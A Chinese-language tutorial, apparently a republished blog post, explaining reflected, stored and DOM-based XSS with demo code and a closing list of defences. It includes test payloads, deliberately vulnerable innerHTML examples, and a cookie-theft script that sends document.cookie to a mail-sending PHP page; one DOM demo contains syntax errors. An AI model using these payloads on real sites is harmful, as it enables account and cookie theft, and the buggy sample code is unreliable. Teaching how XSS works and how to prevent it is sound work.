赞
踩
XSS漏洞(Cross-Site Scripting)是一种常见的Web应用程序安全漏洞,它允许攻击者在受害者的浏览器中注入恶意脚本。当受害者访问包含恶意脚本的网页时,攻击者就可以利用该漏洞来执行任意的代码,例如窃取用户的敏感信息、修改网页内容或进行其他恶意活动。
XSS漏洞是一种跨站脚本攻击漏洞,常见的XSS漏洞类型包括:
存储型XSS:攻击者在目标网站的数据库中存储恶意脚本,当其他用户访问受影响的页面时,恶意脚本会被执行。
反射型XSS:攻击者构造恶意URL,将恶意脚本注入到URL参数中,当用户点击这个URL时,恶意脚本会被执行。
DOM型XSS:攻击者通过修改页面的DOM结构来触发XSS漏洞,常见的攻击方式包括修改URL参数、修改表单数据等。
通常情况下,当客户端在浏览器输入URL后,客户端会发送请求报文给URL中域名对应的服务器,该服务器收到请求报文后,会根据请求报文中的参数查询客户端请求的网页源码并通过响应报文返回给客户端,客户端浏览器收到源码后会解析代码从而生成我们需要的网页页面。
反射型XSS:攻击者通过在URL参数、表单字段等用户可输入的地方注入恶意脚本,当用户访问含有恶意脚本的链接时,若服务端执行的PHP代码未针对URL传递的参数进行相应过滤,那么URL中包含的恶意脚本将通过服务端执行PHP代码进行的动作(如:将name参数插入到HTML的某个标签中)传递到响应给客户端的HTML代码中,当客户端浏览器解析服务端响应的含有恶意脚本的HTML代码时,恶意脚本将会被执行。
当我们在浏览器中输入上图中的恶意URL后,客户端向服务器发送请求报文,下图中的标红部分是恶意脚本<script>alert(1)</script>的URL编码。
服务器收到请求报文后,立即执行PHP代码,将使用get方法传递的参数中的name参数(恶意脚本)插入到<h2>标签中
下图可知,服务器返回的响应报文中的HTML代码包含恶意脚本,这是因为服务器执行的PHP代码未对前端输入的内容进行过滤
客户端浏览器收到响应报文后,浏览器在执行HTML代码生成网页页面时,同样会执行恶意脚本<script>alert(1)</script>
存储型XSS是一种常见的Web应用安全漏洞,攻击者利用该漏洞在目标网站上存储恶意脚本,当用户访问包含这些恶意脚本的页面时,恶意代码会被执行,从而导致各种安全问题。
存储型XSS的原理如下:
利用存储型XSS窃取Cookie并发送到邮箱案例:
- #PHP窃取cookie脚本
- var img = document.createElement('img');
- img.width = 0;
- img.height = 0;
- img.src= 'http://localhost/xss/sendmail.php?mycookie='+encodeURIComponent(document.cookie);
-
- 注:document.cookie:返回访问当前网页的cookie
- sendmail.php:邮件发送程序
-
- 实现的功能:将cookie发送到对应的邮箱
当我们在输入框中输入恶意脚本后,若未对输入进行过滤,脚本将被保存在服务器的数据库中。
当用户输入的URL刚好需要获取恶意脚本时,恶意脚本将被程序返回给用户并被调用,此时用户访问该网站的cookie将被发送到预先设置好的邮箱。
DOM型XSS的攻击利用了网页中的客户端脚本,而不是服务器端的脚本。攻击者通过构造恶意的URL或输入,将恶意代码注入到网页的DOM中,然后在用户的浏览器中执行。
演示案例:
- <input id="text" name="text" type="text" value="">
- <input id="button" type="button" value="click me!" onclick="domxss()">
- <div id="dom"></div>
-
- <script>
- function domxss(){
- var str = document.getElementById("text").value;
- document.getElementById("dom").innerHTML="<a href='"+str+"'>what do you see?</a>";
- }
- //试试:'><img src="#" onmouseover="alert('xss')">
- //试试:' onclick="alert('xss')">,闭合掉就行
- </script>
上述代码中当点击“click me” 后 JS代码会将文本框中输入的内容以链接的形式插入到id=“dom”的节点标签中,下面当让我们输入一段网址来测试一下:
当我们点击“what do you see ” 会自动跳转到百度,上述案例是一个DOM型XSS漏洞的典型案例,攻击者通过构造恶意的URL或输入,将恶意代码注入到网页的DOM中,当用户点击后浏览器会执行恶意的URL,无需与服务端交互即可完成攻击。
显然,作为一名黑客并不会傻傻的告诉受害者访问我给你的链接并在文本框中输入我给你的这段代码,你再去点击访问;因此在实际场景中DOM型XSS一般与反射性XSS相结合,黑客事先找到一个同时存在反射型与DOM型漏洞同时存在的网站,黑客会将恶意JS代码插入到URL中,同时该恶意的JS代码也会被插入到该网页中存在DOM型漏洞的DOM标签节点中。
演示案例:
- #点击按钮后将文本框中的内容以get方式提交
- <form method="get">
- <input id="text" name="text" type="text" value="">
- <input id="submit" type="submit" value="请说出你的伤心往事">
- </form>
- <div id="dom"></div>
- <a href="#" onclick="domxss()">有些费尽心机想要忘记的事情,后来真的就忘掉了</a>
-
- <script>
- function domxss(){
- //获取当前网页的URL中的查询参数部分并赋值给str
- var str=window.location.search;
- //获取str中text后面的第一个元素并赋值给XSS
- var txss=decodeURIComponent(str.split("text="[1]));
- //替换txss变量中的空格字符为+号
- var XSS=txss.replace(/\+/g." ");
- //获取当前页面id=“dom”的标签并插入链接,链接地址为XSS
- document.getElementBYId("dom").innerHTML=
- "<a href='"+xss+"'>就让往事随风,都随风吧</a>";
- }
- </script>
![](https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png)
上述案例中,黑客在URL中插入的恶意脚本也会被插入到存在id=“dom”的标签节点中,当受害者接收到黑客发送的恶意URL时,一但点击插入恶意脚本的标签节点,恶意脚本就会被执行;
由于DOM型+反射型XSS的这种攻击方式,可以使得黑客在DOM节点中提前插入恶意脚本,受害者仅需点击执行即可,与单纯的DOM型XSS相比,无需将恶意脚本发给受害者再通过手段让受害者主动插入恶意脚本,大大提升了攻击的成功性。
要防止XSS(跨站脚本攻击)漏洞,可以采取以下措施:
输入验证和过滤:对用户输入的数据进行有效的验证和过滤,以确保不会包含恶意的脚本代码。可以使用正则表达式、编码函数或专门的输入过滤器来实现。
输出编码:在将用户输入的数据显示在网页上之前,对其进行适当的输出编码,以防止浏览器将其解析为脚本代码。可以使用HTML实体编码、URL编码或JavaScript编码等方法。
设置HTTP头:在网页中设置Content-Security-Policy(CSP)头,限制页面中可以加载和执行的资源,包括脚本文件、样式表和图片等。这可以防止恶意脚本被加载和执行。
使用Web应用防火墙(WAF):部署WAF可以对传入的请求进行检测和过滤,以防止XSS攻击。WAF可以根据已知的攻击模式和签名来识别和阻止恶意请求。
设置cookie的HttpOnly属性:将cookie的HttpOnly属性设置为true,可以防止通过JavaScript访问和窃取cookie信息,从而减少XSS攻击的可能性。
此外,保持网站和服务器的安全性也非常重要,例如及时更新软件和插件,使用HTTPS协议进行数据传输等,这些措施可以降低XSS攻击的风险。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。